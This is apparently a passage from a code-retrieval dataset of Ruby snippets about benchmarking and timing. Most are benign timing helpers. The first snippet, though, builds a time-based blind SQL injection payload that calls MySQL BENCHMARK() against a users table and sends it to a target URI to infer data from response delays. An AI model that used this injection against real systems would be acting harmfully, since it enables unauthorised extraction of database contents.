"text": "def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )\r\n\t\r\n\t\t# Init\r\n\t\twait = 0\r\n\t\t\r\n\t\t# Defaults\r\n\t\ttable = table ? table: 'users'\r\n\t\t\r\n\t\t# SQL Injection string used to trigger the MySQL BECNHMARK() function\r\n\t\tsqli = Rex::Text.uri_encode(\"( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),\")\r\n\t\t\r\n\t\t# Number of tests to run. We run this\r\n\t\t# amount of tests and then look for a\r\n\t\t# median value that is greater than\r\n\t\t# the benchmark difference.\r\n\t\ttnum = tnum ? tnum: datastore['BMRC']\r\n\t\t\r\n\t\t# Run the tests\r\n\t\ttnum.to_i.times do | i |\r\n\t\t\r\n\t\t\t# Start time\r\n\t\t\tbmc1 = Time.now.to_i\r\n\t\t\t\r\n\t\t\t# Make the request\r\n\t\t\tinit_debug(http_post(datastore['JURI'], \"#{datastore['JQRY']}#{sqli}\"))\r\n\t\t\r\n\t\t\t# End time\r\n\t\t\tbmc2 = Time.now.to_i\r\n\t\t\t\r\n\t\t\t# Total time\r\n\t\t\twait += bmc2 - bmc1\r\n\t\tend\r\n\r\n\t\t# Return the results\r\n\t\treturn ( wait.to_i / tnum.to_i )\r\n\t\t\r\n\tend",
"title": ""
},
{
"docid": "7825549835c7a76863433d509c792be1",
"score": "0.6193455",
"text": "def perform_extremely_quickly\n self.run_performance_test(TIERS[:extremely_quickly])\n end",
"title": ""
},
{
"docid": "74f169adca536ac8ce1d64816d879d42",
"score": "0.6191943",
"text": "def bench(descr)\n start = Time.now\n yield\n puts \"#{descr} : #{Time.now-start} seconds\"\nend",
"title": ""
},
{
"docid": "fbbad0f183bb36ca128257ac8d80f04c",
"score": "0.6190484",
"text": "def benchmark\n start_time = Time.now\n\n 1000.times do \n yield\n end\n\n (Time.now - start_time) / 1000\nend",
"title": ""
},
{
"docid": "12e8484775a7f5a8edbc0fa00f85b9cb",
"score": "0.61562437",
"text": "def measure_single(test, passes, platform)\n if (platform == :'jvm') \n command = \"#{JAVA} stx.libjava.benchmarks.#{test} #{passes}\" \n elsif (platform == :'jvmint') \n command = \"#{JAVA} -Xint stx.libjava.benchmarks.#{test} #{passes}\" \n command = 'echo \"EXECUTION TIME: N/A\"'\n elsif (platform == :'stx')\n command = \"./benchmark-runner.sh --smalltalk -b #{test} -n #{passes} 2>&1\"\n elsif (platform == :'libjava') \n command = \"./benchmark-runner.sh --jit --java -b #{test} -n #{passes} 2>&1\"\n elsif (platform == :'libjavaint') \n if test == 'Ackerman' \n command = 'echo \"EXECUTION TIME: N/A\"'\n else \n command = \"./benchmark-runner.sh --nojit --java -b #{test} -n #{passes} 2>&1\"\n command = 'echo \"EXECUTION TIME: N/A\"'\n end\n elsif (platform == :'stx2libjava') \n command = \"./benchmark-runner.sh --smalltalk2java -b #{test} -n #{passes} 2>&1\"\n elsif (platform == :ruby)\n command = \"./#{test.downcase}.rb #{passes} 2>&1\"\n else\n raise Exception.new(\"Unssuported platform: #{platform}\") \n end\n \n puts \" running: #{command}\"\n output = `#{command}`\n if ($? != 0) \n puts output\n raise Exception.new(\"Command failed!\")\n end\n execution_time = (output.scan /^EXECUTION TIME: N\\/A/).last()\n if execution_time \n puts \" => N/A\"\n return \"N/A\"\n end\n \n execution_time = (output.scan /^EXECUTION TIME: \\d*[\\.\\d]\\d*$/).last()\n execution_time = execution_time.gsub /^EXECUTION TIME: /, ''\n puts \" => #{execution_time}\"\n return execution_time.to_i\nend",
"title": ""
},
{
"docid": "9d968b2318ca3a5a83e5ebfa2e6bb550",
"score": "0.6154659",
"text": "def benchmark_simple\n # From http://blog.evanweaver.com/articles/2006/12/13/benchmark/\n # Call benchmark { } with any block and you get the wallclock runtime\n # as well as a percent change + or - from the last run\n cur = Time.now\n result = yield\n print \"#{cur = Time.now - cur} seconds\"\n puts \" (#{(cur / $last_benchmark * 100).to_i - 100}% change)\" rescue puts \"\"\n $last_benchmark = cur\n result\n end",
"title": ""
},
{
"docid": "8696c4ac716ee8ee3d59e476f181c045",
"score": "0.6146822",
"text": "def run_performance_harness(test_name)\n\n begin\n counter=0\n total_trials=@input_trials.to_i\n num_cases = @input_cases.to_i\n delay = @input_delay.to_i\n sleep_time = @input_sleep.to_i\n total_time = 0\n total_rate = 0\n average_duration = 0\n average_rate = 0\n\n frame = @browser.find_element(:css=> \"iframe\")\n\n @browser.switch_to.frame(frame)\n\n trials = @browser.find_element(:name=>'numTrials')\n trials.clear\n trials.send_keys(num_cases)\n set_delay = @browser.find_element(:name=>'delay')\n set_delay.clear\n set_delay.send_keys(delay)\n run_button = @wait.until{@browser.find_element(:name=>'run')}\n\n while counter < total_trials do\n if run_button.enabled?\n sleep(sleep_time)\n run_button.click\n time_result=@wait.until{\n time_element = @browser.find_element(:id=>'time')\n time_element if time_element.displayed?\n }\n\n rate_result=@wait.until{@browser.find_element(:id=>'rate')}\n\n duration=time_result.text.to_f\n rate = rate_result.text.to_f\n total_time=total_time+duration\n total_rate = total_rate+rate\n\n puts \"Time:#{@time}, Platform: #{@platform}, Browser: #{@browser_name} v.#{@browser_version}, Testing: #{$build},\n Trial no. #{counter}, Number of cases: #{num_cases}, Delay: #{delay} s, Time result: #{time_result.text} ms, Rate result: #{rate_result.text} cases/sec \\n\"\n counter=counter+1\n @browser.switch_to.default_content\n\n @browser.switch_to.frame(frame)\n end\n\n end\n\n average_duration = total_time/total_trials\n average_rate = total_rate/total_trials\n puts \"Average Duration: #{average_duration}\"\n puts \"Average Rate: #{average_rate}\"\n write_to_csv(@time, @platform, @browser_name, @browser_version, $build, total_trials, num_cases, delay, average_duration, average_rate, test_name)\n @browser.switch_to.default_content\n rescue Exception => e\n puts e.message\n puts \"Failed to run Performance Harness\"\n end\nend",
"title": ""
},
{
"docid": "2889e0f5a1e1bd3413860c6f689059a9",
"score": "0.6143302",
"text": "def measure\n times << Benchmark.realtime { yield }\n end",
"title": ""
},
{
"docid": "f04ae3746a9eb823c15fde110f23b96f",
"score": "0.61417776",
"text": "def do_time(repetitions = 100, &block)\n require 'benchmark'\n Benchmark.bm{|b| b.report{repetitions.times(&block)}}\nend",
"title": ""
},
{
"docid": "85bc502c0efe649733729ea8c23042a1",
"score": "0.61395395",
"text": "def benchmark\n start_time = Time.now\n yield\n puts \"Seconds: #{Time.now - start_time}\"\nend",
"title": ""
},
{
"docid": "85125fbe5dd14eaba9d225472d10db03",
"score": "0.6118132",
"text": "def perform_adequately\n self.run_performance_test(TIERS[:adequately])\n end",
"title": ""
},
{
"docid": "fa9fd1252d05913b2dc59d9cbc2472d7",
"score": "0.6109558",
"text": "def bench_timeout(bt=nil); bt ? @@bench_timeout = bt : @@bench_timeout; end",
"title": ""
},
{
"docid": "fa9fd1252d05913b2dc59d9cbc2472d7",
"score": "0.6109558",
"text": "def bench_timeout(bt=nil); bt ? @@bench_timeout = bt : @@bench_timeout; end",
"title": ""
},
{
"docid": "d37e6db4b59a73ddcbb63bb8d7db152d",
"score": "0.6107669",
"text": "def benchmark ( num )\n\n\t# create a start time\n\tstart_time = Time.now\n\t# start the loop n.times\n\t\t# and run the block\n\tnum.times { yield if block_given? }\n\t# return the time.now - start time\n\n\tputs Time.now - start_time\n\nend",
"title": ""
},
{
"docid": "9ab98c58fd7918642d636d39afca8d94",
"score": "0.60794693",
"text": "def benchmark_runs &block\n time = Benchmark.measure do\n yield\n end.total\nend",
"title": ""
},
{
"docid": "3b7ca39a8a8de5c076f6b14e6dc08a20",
"score": "0.60732067",
"text": "def benchmark(name:, description: nil)\n result = nil\n\n server_timing.benchmark(name: name, description: description) do\n result = yield\n end\n\n result\n end",
"title": ""
},
{
"docid": "4e1ca14ec1eebec06d444fc3a5f33753",
"score": "0.60671765",
"text": "def benchmark(state=:start)\n case state\n when :stop\n moveto(:x => \"20\", :y => \"20\")\n raw %Q{\n default_font (RGhost::Ghostscript benchmark: ) show\n realtime benchmark sub 1000 div 20 string cvs show ( seconds ) show\n }\n when :start\n set RGhost::Variable.new(:benchmark,\"realtime\")\n end\n end",
"title": ""
},
{
"docid": "edf7733facf942de359750622697bf03",
"score": "0.60619164",
"text": "def bench(path, name)\n puts \"Running apache bench warmup\"\n \n `ab -n 20 -l \"http://localhost:#{@port}#{path}\"`\n \n puts \"Benchmarking #{name} @ #{path}\"\n `ab -n #{@iterations} -l -e result/ab.csv \"http://localhost:#{@port}#{path}\"`\n \n percentiles = Hash[*[50, 75, 90, 99].zip([]).flatten]\n CSV.foreach(\"result/ab.csv\") do |percent, time|\n percentiles[percent.to_i] = \"#{time.to_i} msec\" if percentiles.key? percent.to_i\n end\n \n percentiles\n end",
"title": ""
},
{
"docid": "88b04cd4ed2c8d4c215d2c1702baad2d",
"score": "0.60545975",
"text": "def my_benchmark(iterations)\n start_time = Time.now\n (1..iterations).each do\n yield\n end\n Time.now - start_time\nend",
"title": ""
},
{
"docid": "0c26a33ffd8d67f6462ecc3668a3f6be",
"score": "0.6046166",
"text": "def benchmark(unit: :millisecond)\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, unit)\n yield\n end_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, unit)\n end_time - start_time\n end",
"title": ""
},
{
"docid": "a64cade29fa987ff2438ed64867f8214",
"score": "0.6003805",
"text": "def bench(n=100, runs=10)\n n = n.to_i\n t = []\n runs.times do\n a = Time.now\n for _ in 1..n\n yield\n end\n t << (Time.now-a)*1000/n\n end\n mean = t.inject { |a,b| a+b }.quo(t.size)\n stddev = t.map { |a| (a-mean)**2 }.inject { |a,b| a+b }.quo(t.size)**0.5\n [mean, stddev]\nend",
"title": ""
},
{
"docid": "f257768229066f65b2376e304da2f49a",
"score": "0.59864473",
"text": "def operation_benchmarks; end",
"title": ""
},
{
"docid": "637949f6de0ffb87875047f83ad9de8d",
"score": "0.594813",
"text": "def benchmark(label = \"\", &block)\n \t @bm ||= []\n \t @bm << Benchmark.measure(\"CV #{@current_cv} #{label}\", &block)\n \tend",
"title": ""
},
{
"docid": "193fb95a942f20cde11fc380b2f0f5af",
"score": "0.5946372",
"text": "def my_benchmark(number_of_times)\n start = Time.now\n number_of_times.times {\n yield\n }\n endy = Time.now\n length = endy - start\n puts \"The amount of time it took to run the block #{number_of_times} times is #{length} seconds\"\n length\nend",
"title": ""
},
{
"docid": "91cb4f00e780292c11ab8c23d279d9cb",
"score": "0.5938232",
"text": "def running_times(benchmark)\n @f.puts \"Finished in %.6f seconds.\" % benchmark.real\n end",
"title": ""
},
{
"docid": "539c83d7161733944b33e24f3983a86d",
"score": "0.59162587",
"text": "def perform_test(abort_after = true)\n smem = get_memory\n st = Time.now\n yield if block_given?\n et = (Time.now - st).round(4)\n emem = get_memory\n msgbox \"Memory Before: #{smem}\\nMemory After: #{emem}\\nMemory Difference: #{emem > smem ? \"+\" : emem < smem ? \"-\" : \"\"}#{emem - smem}\\n----------------------\\n\" +\n \"Time: #{et} seconds\"\n abort if abort_after\nend",
"title": ""
},
{
"docid": "14f1ce8ee8d9600bb68aea8f6551ec3c",
"score": "0.5902326",
"text": "def run_performance_harness(test_name)\n\n counter=0\n total_trials=4\n num_cases = 5\n delay = 1\n sleep_time = 1\n total_time = 0\n total_rate = 0\n average_duration = 0\n average_rate = 0\n\n frame = @browser.find_element(:css=> \"iframe\")\n\n @browser.switch_to.frame(frame)\n\n trials = @browser.find_element(:name=>'numTrials')\n trials.clear\n trials.send_keys(num_cases)\n set_delay = @browser.find_element(:name=>'delay')\n set_delay.clear\n set_delay.send_keys(delay)\n run_button = @wait.until{@browser.find_element(:name=>'run')}\n\n while counter < total_trials do\n if run_button.enabled?\n sleep(sleep_time)\n run_button.click\n time_result=@wait.until{\n time_element = @browser.find_element(:id=>'time')\n time_element if time_element.displayed?\n }\n\n rate_result=@wait.until{@browser.find_element(:id=>'rate')}\n\n duration=time_result.text.to_f\n rate = rate_result.text.to_f\n total_time=total_time+duration\n total_rate = total_rate+rate\n\n puts \"Time:#{@time}, Platform: #{@platform}, Browser: #{@browser_name} v.#{@browser_version}, Testing: #{$build},\n Trial no. #{counter}, Number of cases: #{num_cases}, Delay: #{delay} s, Time result: #{time_result.text} ms, Rate result: #{rate_result.text} cases/sec \\n\"\n counter=counter+1\n @browser.switch_to.default_content\n\n @browser.switch_to.frame(frame)\n end\n\n end\n\n=begin\n average_duration = total_time/total_trials\n average_rate = total_rate/total_trials\n puts \"Average Duration: #{average_duration}\"\n puts \"Average Rate: #{average_rate}\"\n write_to_csv(@time, @platform, @browser_name, @browser_version, $build, total_trials, num_cases, delay, average_duration, average_rate, test_name)\n @browser.switch_to.default_content\n=end\n\nend",
"title": ""
},
{
"docid": "341ef6123e3950b025f873fc7c8c8a87",
"score": "0.5900624",
"text": "def run_benchmark(num_itrs_hint)\n times = []\n total_time = 0\n num_itrs = 0\n\n begin\n time = Benchmark.realtime { yield }\n num_itrs += 1\n\n # NOTE: we may want to avoid this as it could trigger GC?\n time_ms = (1000 * time).to_i\n puts \"itr \\##{num_itrs}: #{time_ms}ms\"\n\n # NOTE: we may want to preallocate an array and avoid append\n # We internally save the time in seconds to avoid loss of precision\n times << time\n total_time += time\n end until num_itrs >= WARMUP_ITRS + MIN_BENCH_ITRS and total_time >= MIN_BENCH_TIME\n\n # Write each time value on its own line\n File.write(OUT_CSV_PATH, \"#{RUBY_DESCRIPTION}\\n#{times.join(\"\\n\")}\\n\")\nend",
"title": ""
},
{
"docid": "b803ef0b70133c344774b3110b2ad098",
"score": "0.58923614",
"text": "def measure( num = 0 )\n\n\t# create time variable for current time\n\ttime = Time.now\n\n\t# yields to block if parameter is 0\n\tif num == 0\n\n\t\t# call the block\n yield\n\n else\n\n \t# yield to block n times sending current time\n num.times { | time_now | yield( time_now ) }\n\n end\n\n # calculate the elapsed time and/or average the result n times if n != 0\n\t( Time.now - time ) / ( num == 0 ? 1 : num )\n\nend",
"title": ""
},
{
"docid": "11fcc890f6e47d494ba20ea8b6a5ac0a",
"score": "0.5887819",
"text": "def expected_times_executed; end",
"title": ""
},
{
"docid": "11fcc890f6e47d494ba20ea8b6a5ac0a",
"score": "0.5887819",
"text": "def expected_times_executed; end",
"title": ""
},
{
"docid": "6891af7e319519b0e097f969e8229411",
"score": "0.5882465",
"text": "def benchmark(title, log_level = Logger::DEBUG, use_silence = true)\n if logger && logger.level <= log_level\n result = nil\n ms = Benchmark.ms { result = use_silence ? silence { yield } : yield }\n logger.add(log_level, '%s (%.1fms)' % [title, ms])\n result\n else\n yield\n end\n end",
"title": ""
},
{
"docid": "abcfff96fd8e8df5384312f014e14e21",
"score": "0.58717465",
"text": "def perform_benchmark(context, runtime)\n timings = []\n run_target = Time.now + runtime\n\n while Time.now <= run_target\n start_time = Time.now.to_f\n\n context.instance_eval(&@block)\n\n timings << Time.now.to_f - start_time\n end\n\n return timings\n end",
"title": ""
},
{
"docid": "63afc8cf465d4786f3415a1e58eeb513",
"score": "0.58525217",
"text": "def time_it; end",
"title": ""
},
{
"docid": "800a0bc1fc41f7bb24061326aa151e3d",
"score": "0.5849447",
"text": "def simple(percentage, options = {}, &block)\n timer = PerfTest.new.run_with_tags(percentage, options) do |t, educator|\n block.yield(educator)\n end\n pp timer.report\n pp PerfTest::Reporter.new.report(timer.report.group_by {|tuple| tuple[0] })\n timer\n end",
"title": ""
},
{
"docid": "800a0bc1fc41f7bb24061326aa151e3d",
"score": "0.5849447",
"text": "def simple(percentage, options = {}, &block)\n timer = PerfTest.new.run_with_tags(percentage, options) do |t, educator|\n block.yield(educator)\n end\n pp timer.report\n pp PerfTest::Reporter.new.report(timer.report.group_by {|tuple| tuple[0] })\n timer\n end",
"title": ""
},
{
"docid": "ca9a593da85cdb6374229ba58a58729c",
"score": "0.58457714",
"text": "def benchmark(title, log_level = Logger::DEBUG, use_silence = true)\n if logger && logger.level <= log_level\n result = nil\n seconds = Benchmark.realtime { result = use_silence ? silence { yield } : yield }\n logger.add(log_level, \"#{title} (#{'%.5f' % seconds})\")\n result\n else\n yield\n end\n end",
"title": ""
},
{
"docid": "8069ccedac582ae6d25d8a4592235e75",
"score": "0.58410347",
"text": "def measure(number_of_times=1)\n total_time = 0\n start = Time.now\n number_of_times.times do\n yield if block_given?\n end\n finish = Time.now\n total_time += (finish - start)\n total_time/number_of_times\nend",
"title": ""
},
{
"docid": "fd5e7ee17ffcbf53a983de9cf37b5697",
"score": "0.5836581",
"text": "def bench(label, cases)\n it \"bench #{label}\" do\n Benchmark.ipsa do |x|\n cases.each do |name, block|\n x.report(name, block)\n end\n end\n end\nend",
"title": ""
},
{
"docid": "6b5ed5f6e7886a2104e7c61537d82d12",
"score": "0.58358765",
"text": "def benchmark!\n @lambdas.each_pair do |name, l|\n 1.upto(@count).each do |round|\n begin\n measure = Benchmark.measure {\n l.call\n }\n add_measure(name, measure)\n rescue => e\n add_measure(sprintf('%s-failed', name).to_sym, Benchmark.measure {})\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "0c4a773b19dbf778d725c702ad5b83c1",
"score": "0.58317673",
"text": "def fitness\n (all_passing? ? 1 : 1000000) * (test_execution_time)\n end",
"title": ""
},
{
"docid": "e1c57ee041cbe51c2fab62b0f23bde82",
"score": "0.58310586",
"text": "def run\n if parsed_options? && arguments_valid?\n begin\n tms = Benchmark.measure { run_tests }\n Log.info tms.format(\"\\t\\tUser\\t\\tSystem\\t\\tReal\\nDuration:\\t%u\\t%y\\t%r\")\n rescue Exception => e\n puts \"Error: #{e.message}\"\n end\n else\n output_usage\n @return_value = 1\n end\n exit @return_value\n end",
"title": ""
},
{
"docid": "06005c138c7c34eb63b3368ca522c977",
"score": "0.5829137",
"text": "def run_and_benchmark_if_enabled(&block)\n bm = nil\n block_result = nil\n if benchmark?\n bm = Benchmark.measure do\n block_result = block.call\n end\n else\n block_result = block.call\n end\n [block_result, bm]\n end",
"title": ""
},
{
"docid": "c4fc0bfafa0bc84030cadcad067ffef7",
"score": "0.5815701",
"text": "def run_druid_benchmark\n\tattempts = 0\n\tconfig = { tuning_granularity: :hour, tuning_window: 'PT1M' }\n\tclient = Druid::Client.new(config)\n\tdatasource = \"foobar_#{Time.now.utc.min}\"\n\tdimensions = { manufacturer: 'ACME', owner: 'Wile E. Coyote' }\n\tmetrics = { anvils: 1 }\n\tdatapoint = { dimensions: dimensions, metrics: metrics }\n\n\tuntil attempts >= @max\n\t\tattempts += 1\n\t\tputs \"druid attempt #{attempts}\" if attempts % 1000 == 0\n\t\tclient.write_point(datasource, datapoint)\n\tend\nend",
"title": ""
},
{
"docid": "ca2f7f1858a7044dfcadefe97d7c17a6",
"score": "0.58073217",
"text": "def benchmark(stat,options={})\n result = nil\n realtime(stat,options) do\n result = yield\n end\n result\n end",
"title": ""
},
{
"docid": "1198a47fe5af44d8eb360b414e866959",
"score": "0.57941383",
"text": "def run_and_benchmark_if_enabled(&block)\n bm = nil\n block_result = nil\n if benchmark?\n bm = Benchmark.measure do\n block_result = block.call\n end\n else\n block_result = block.call\n end\n [block_result, bm]\n end",
"title": ""
},
{
"docid": "5f476778a9120178d9fda47e56357662",
"score": "0.57907486",
"text": "def benchmark_operations(report_data)\n return unless gem_name && client_module_name && operation_benchmarks\n\n require gem_name\n\n client_klass = Aws.const_get(client_module_name).const_get(:Client)\n\n report_data[:client_init_ms] = Benchmark.measure_time(300) do\n client_klass.new(stub_responses: true)\n end\n\n values = report_data[:client_init_ms]\n puts \"\\t\\t#{gem_name} client init avg: #{'%.2f' % (values.sum(0.0) / values.size)} ms\"\n\n operation_benchmarks.each do |test_name, test_def|\n client = client_klass.new(stub_responses: true)\n req = test_def[:setup].call(client)\n\n\n # warmup (run a few iterations without measurement)\n 2.times { test_def[:test].call(client, req) }\n\n mem_allocated = 0\n unless defined?(JRUBY_VERSION)\n r = ::MemoryProfiler.report { test_def[:test].call(client, req) }\n mem_allocated = report_data[\"#{test_name}_allocated_kb\"] = r.total_allocated_memsize / 1024.0\n end\n\n n = test_def[:n] || 300\n values = Benchmark.measure_time(n) do\n test_def[:test].call(client, req)\n end\n report_data[\"#{test_name}_ms\"] = values\n puts \"\\t\\t#{test_name} avg: #{ '%.2f' % (values.sum(0.0) / values.size)} ms\\tmem_allocated: #{'%.2f' % mem_allocated} kb\"\n end\n end",
"title": ""
},
{
"docid": "b71f34aaf689396437c11a6797d5abaf",
"score": "0.5789622",
"text": "def benchmarks\n @benchmarks ||= {}\n end",
"title": ""
},
{
"docid": "59b610b2b69e6a0166266739862b8945",
"score": "0.5782254",
"text": "def time(repetitions = 100, &block)\n require 'benchmark'\n Benchmark.bm{|b| b.report{repetitions.times(&block)}}\nend",
"title": ""
},
{
"docid": "59b610b2b69e6a0166266739862b8945",
"score": "0.5782254",
"text": "def time(repetitions = 100, &block)\n require 'benchmark'\n Benchmark.bm{|b| b.report{repetitions.times(&block)}}\nend",
"title": ""
},
{
"docid": "9e8fb89eee81d79b01872c099771274d",
"score": "0.5780437",
"text": "def slowest_actions_by_each_timing_metric\n [HowSlow::Metrics::Action.new(\n :total_runtime=>900.0,\n :db_runtime=>400.0,\n :view_runtime=>450.0,\n :other_runtime=>50.0,\n :event_name=>\"all_requests\",\n :params=>{},\n :status=>200,\n :datetime=>'2013-01-08 12:00:00 UTC'\n ), HowSlow::Metrics::Action.new(\n :total_runtime=>800.0,\n :db_runtime=>400.0,\n :view_runtime=>350.0,\n :other_runtime=>50.0,\n :event_name=>\"all_requests\",\n :params=>{},\n :status=>200,\n :datetime=>'2013-01-08 12:01:00 UTC'\n ), HowSlow::Metrics::Action.new(\n :total_runtime=>700.0,\n :db_runtime=>400.0,\n :view_runtime=>250.0,\n :other_runtime=>50.0,\n :event_name=>\"all_requests\",\n :params=>{},\n :status=>200,\n :datetime=>'2013-01-08 12:02:00 UTC'\n ), HowSlow::Metrics::Action.new(\n :total_runtime=>600.0,\n :db_runtime=>400.0,\n :view_runtime=>150.0,\n :other_runtime=>50.0,\n :event_name=>\"all_requests\",\n :params=>{},\n :status=>200,\n :datetime=>'2013-01-08 12:03:00 UTC'\n ), HowSlow::Metrics::Action.new(\n :total_runtime=>500.0,\n :db_runtime=>300.0,\n :view_runtime=>150.0,\n :other_runtime=>50.0,\n :event_name=>\"all_requests\",\n :params=>{},\n :status=>200,\n :datetime=>'2013-01-08 12:04:00 UTC'\n )]\n end",
"title": ""
},
{
"docid": "d0ab40d845d9b4791741ccaeef509a82",
"score": "0.5776603",
"text": "def measure\n timings = []\n\n iterations.times do\n timings << ::Benchmark.measure { yield }.real\n end\n\n avg = timings.inject(:+) / iterations\n\n show(timings.min, timings.max, avg)\n end",
"title": ""
},
{
"docid": "0851ca29b7245ba6d8dd8398c71d4a48",
"score": "0.577131",
"text": "def pause(delay=30000, deviation=5000)\n test_action name: 'Think Time', action: 1, target: 0, duration: 0 do\n think_time delay, deviation\n end\n end",
"title": ""
},
{
"docid": "b7c8b6aa8bbc85fcdeeaa0cf3d75b0a7",
"score": "0.5762878",
"text": "def plotter_sampled_timeout_test samples, timeout, text, block\n samples.times.collect{||plotter_timeout_test timeout, text, block}\nend",
"title": ""
},
{
"docid": "df182a8440969211b71a6ef4c5b6dbcf",
"score": "0.5747197",
"text": "def measure(x = 1)\n start_time = Time.now\n x.times {yield}\n avg_time = (Time.now - start_time) / (x)\nend",
"title": ""
},
{
"docid": "9e8a188477f1dc91758b89272596423e",
"score": "0.5742111",
"text": "def benchmark(method, *args)\n start = Time.now\n result = yield\n Dynamoid.logger.info \"(#{((Time.now - start) * 1000.0).round(2)} ms) #{method.to_s.split('_').collect(&:upcase).join(' ')}#{ \" - #{args.inspect}\" unless args.nil? || args.empty? }\"\n return result\n end",
"title": ""
},
{
"docid": "54856f03590cba9532ecbc1301bc0de2",
"score": "0.5734193",
"text": "def measure(n=1)\n\tstart_time = Time.now\n\tn.times {yield}\n\tend_time = Time.now\n\taverage_time = (end_time - start_time)/n\nend",
"title": ""
},
{
"docid": "ef41f6ab0cb81fbebb95565808463825",
"score": "0.5733454",
"text": "def measure(i = 1)\r\n start_time = Time.now #Current time at the start\r\n \r\n #Execute code block the given amount of times\r\n i.times do \r\n yield\r\n end\r\n \r\n end_time = Time.now #Current time at the end\r\n (end_time - start_time) / i #The total time divided by the number of time executed to find average\r\nend",
"title": ""
},
{
"docid": "392a0ffb5a1a660956577ca310791349",
"score": "0.5726331",
"text": "def run_with_benchmarks\n original_stdout = $stdout\n # Redirect $stdout to a variable that can be printed later\n temp_stdout = StringIO.new\n $stdout = temp_stdout\n\n require 'benchmark'\n Benchmark.bm do |x|\n x.report { yield } if block_given?\n end\n\n # Restore $stdout\n $stdout = original_stdout\n temp_stdout\n end",
"title": ""
},
{
"docid": "4f73191b5352efde35e14cea6082c95f",
"score": "0.57206786",
"text": "def benchmark?\n task == 'benchmark'\n end",
"title": ""
},
{
"docid": "c2974963391233b0a6eeb54ad06994bc",
"score": "0.57171255",
"text": "def timing; end",
"title": ""
},
{
"docid": "b35d1588eb42f157db9566b74ac19cbd",
"score": "0.5702272",
"text": "def test_and_enque_for_time!(time); end",
"title": ""
},
{
"docid": "fd99638b6184ad5237ebc71e4ad12311",
"score": "0.56954247",
"text": "def run_average_case\n user = User.find(1)\n timetable = user.timetables[1]\n timetable.subjects = user.subjects.ids[0..10]\n\n all_runs = []\n 5.times do\n Benchmark.bm do |bm|\n bm.report do\n generator = ::EventsService::EventsGenerator.new(timetable)\n tp generator.result[:chromosomes]\n all_runs << generator.result\n end\n end\n end\n\n get_averages_for_evolutions(all_runs).each_with_index do |c, index|\n p \"Generation = #{index+1} and Cost = #{c}\"\n end\n\n # tp all_runs.map { |x| x[:chromosomes] }\n #p all_runs.map(&:fitness).inject(0, :+) / all_runs.size\n #tp all_runs[0].data.collect {|x| x.subject }\n end",
"title": ""
},
{
"docid": "8c0af063d02f3b707335862fae021c41",
"score": "0.5694626",
"text": "def measure(howmany = 1, &block)\r\n x = Time::now\r\n howmany.times{yield}\r\n return (Time::now - x) / howmany\r\nend",
"title": ""
},
{
"docid": "ad2946b0aaab2c3e1acb80acf2826256",
"score": "0.5689051",
"text": "def run_benchmark(num_itrs_hint)\n i = 0\n while i < num_itrs_hint\n yield\n i += 1\n end\nend",
"title": ""
},
{
"docid": "8070cf01e82acc4e4d86843e06ba340a",
"score": "0.5688523",
"text": "def run_test\n\t\trun_test(20000)\n\tend",
"title": ""
},
{
"docid": "e5261823d765acdc9c6782649b3e5f94",
"score": "0.56707305",
"text": "def bench(label, *args, &block)\n if @@bench_block\n @@bench_block.call(label, *args, &block)\n else\n yield\n end\n end",
"title": ""
},
{
"docid": "8f16ae6aaebf55f0aefd770366c70f6b",
"score": "0.56662774",
"text": "def measure(num = 1)\n start_time = Time.now\n num.times do |n|\n yield #return block\n end\n (Time.now - start_time) / num #average oer num times\nend",
"title": ""
},
{
"docid": "908bd01013183c220e6b9925d406ff87",
"score": "0.56615037",
"text": "def thinmark\n seconds = Benchmark.realtime {\n yield\n }\n\n seconds\n end",
"title": ""
},
{
"docid": "908bd01013183c220e6b9925d406ff87",
"score": "0.56615037",
"text": "def thinmark\n seconds = Benchmark.realtime {\n yield\n }\n\n seconds\n end",
"title": ""
},
{
"docid": "08efc51e43718956dffd0fc7eb181ce0",
"score": "0.56613964",
"text": "def accurate_measure\n Array.new(7){ sleep(50e-3); self.measure }.sort.slice(2..4).reduce(:+) / 3\n end",
"title": ""
},
{
"docid": "df0035bdbf376a01483df6242f7445fc",
"score": "0.5656625",
"text": "def time(&block)\n require 'benchmark'\n result = nil\n timing = Benchmark.measure do\n result = block.()\n end\n puts \"It took: #{timing}\"\n result\nend",
"title": ""
},
{
"docid": "ddfffc40b6a30cb25051ae24565143eb",
"score": "0.5649478",
"text": "def benchmark\n ITERATIONS.each do |iteration|\n COUNT.each do |count|\n it \"executes #{iteration} iterations with limit #{count}\" do\n b = Benchmark.measure do\n iteration.times { yield count }\n end\n\n puts 'it = %8s, co = %4s, ti = %3ss' % [iteration, count, b.real.round(2)]\n end\n end\n end\nend",
"title": ""
},
{
"docid": "36def47f601e24046131f8c52a433acb",
"score": "0.5646808",
"text": "def expected_times_executed=(_arg0); end",
"title": ""
},
{
"docid": "36def47f601e24046131f8c52a433acb",
"score": "0.5646808",
"text": "def expected_times_executed=(_arg0); end",
"title": ""
},
{
"docid": "25b559147057e9ce472c87a913285fca",
"score": "0.5643741",
"text": "def time?(index)\n Time.now - @benchmarks[index]\n end",
"title": ""
},
{
"docid": "30487aaa171ce99f64b9f5acfbb61f69",
"score": "0.56349593",
"text": "def summarize_performance!\n \t\tperformance_f do |f|\n \t\t\ttotal = @abm.reduce(0) {|t, m| m + t} / @abm.count\n \t\t\tf << total.format(\" Average: \"+Benchmark::FMTSTR)\n \t\tend\n \tend",
"title": ""
},
{
"docid": "2b04bb43812ce701ccef29711b429eb3",
"score": "0.5628471",
"text": "def run_test\n t = nil\n\n begin\n t = clazz.create\n if t.respond_to? :micron_method= then\n t.micron_method = self # minitest compat shim\n end\n\n time(:setup) { setup(t) }\n\n # run actual test method and measure runtime\n @runtime = Hitimes::Interval.now\n t.send(name)\n @durations[:runtime] = @runtime.stop\n self.passed = true\n\n rescue *PASSTHROUGH_EXCEPTIONS\n @durations[:runtime] = @runtime.stop if @runtime\n raise\n\n rescue Exception => e\n @durations[:runtime] = @runtime.stop if @runtime\n self.passed = false\n self.ex = ExceptionInfo.new(e)\n\n ensure\n self.assertions += t._assertions if not t.nil?\n time(:teardown) {\n teardown(t) if not t.nil?\n }\n @runtime = nil\n end\n end",
"title": ""
},
{
"docid": "4ffab282bd6662e988fcbf36adfd5fff",
"score": "0.5620256",
